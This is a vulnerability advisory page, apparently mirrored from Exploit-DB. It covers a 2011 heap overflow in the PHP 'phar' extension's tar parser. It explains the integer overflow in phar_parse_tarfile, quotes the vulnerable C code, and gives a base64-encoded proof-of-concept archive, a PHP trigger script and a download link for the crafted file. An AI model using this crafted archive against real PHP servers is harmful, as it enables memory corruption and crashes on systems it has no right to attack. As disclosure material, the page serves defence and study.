Lucene search
K

PHP 'phar' Extension 1.1.1 - Heap Overflow

🗓️ 22 Apr 2011 00:00:00Reported by Alexander GavrunType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 85 Views

PHP 'phar' Extension 1.1.1 heap overflow vulnerability in phar/tar.c fil

Code
from: http://0x1byte.blogspot.com/2011/04/php-phar-extension-heap-overflow.html
version PHP:  5.3.6
version phar ext.: 1.1.1
site: http://php.net/
source code: http://windows.php.net/downloads/releases/php-5.3.6-src.zip

An integer overflow vulnerability leading to a heap overflow in the file ..\php-5.3.6\ext\phar\tar.c.


int phar_parse_tarfile(php_stream* fp, char *fname, int fname_len, char *alias, int alias_len, phar_archive_data** pphar, int is_data, php_uint32 compression, char **error TSRMLS_DC) /* {{{ */
{
//.....
size = entry.uncompressed_filesize = entry.compressed_filesize =
phar_tar_number(hdr->size, sizeof(hdr->size)); //(*)
//.....
if (!last_was_longlink && hdr->typeflag == 'L') {
last_was_longlink = 1;
/* support the ././@LongLink system for storing long filenames */
entry.filename_len = entry.uncompressed_filesize;
entry.filename = pemalloc(entry.filename_len+1, myphar->is_persistent); //(**)

read = php_stream_read(fp, entry.filename, entry.filename_len); //(***)
//.....

If entry.filename_len(which attacker can control) equal 0xffffffff, pemalloc() will allocate zero length buffer. Then php_stream_read() get as a length parameter 0xffffffff value. Because php_stream_read () checks that the passed length does not exceed the amount of data available, the buffer overflow sizes are available from the data stream.

POC code (MIME encoded):
php_phar.zip begin
 
UEsDBBQAAAAIAA96ez4k50+6aQAAAG0AAAAIAAAAcGhhci5waHAVi0sKgzAQ
QPeeYhoKTjbpAfpx1ULBhTcYghlxUJMhCnp8ze7xeO/V6KggA+CNj43jKinS
nHzggEZHn421EITRrJOosc+quhcNb4i8Q3chBsnRL4xEv3/7JbLgoH5o6l0p
3eZzXb7mcwJQSwMEFAAAAAgAMbB7PrO7HsFRAAAAmxAAAAwAAABwb2MucGhh
ci50YXLtzTsKgDAQRdFZiisQM9HJJtxEQEEbCX7A5RsrC2u18J7y8eCOU9fv
ZRqSPKfKzOy2h4s4V2ndmFevct590KKVF2zLGueclH+KAAAAAAB86wBQSwEC
FAAUAAAACAAPens+JOdPumkAAABtAAAACAAAAAAAAAAAACAAAAAAAAAAcGhh
ci5waHBQSwECFAAUAAAACAAxsHs+s7sewVEAAACbEAAADAAAAAAAAAAAACAA
AACPAAAAcG9jLnBoYXIudGFyUEsFBgAAAAACAAIAcAAAAAoBAAAAAA==
 
end

PHP POC:
<?php if (!extension_loaded("phar")) die("skip");

$phar = new Phar(dirname(__FILE__) . '/poc.phar.tar');

?>

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17201.phar.tar (poc.phar.tar)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation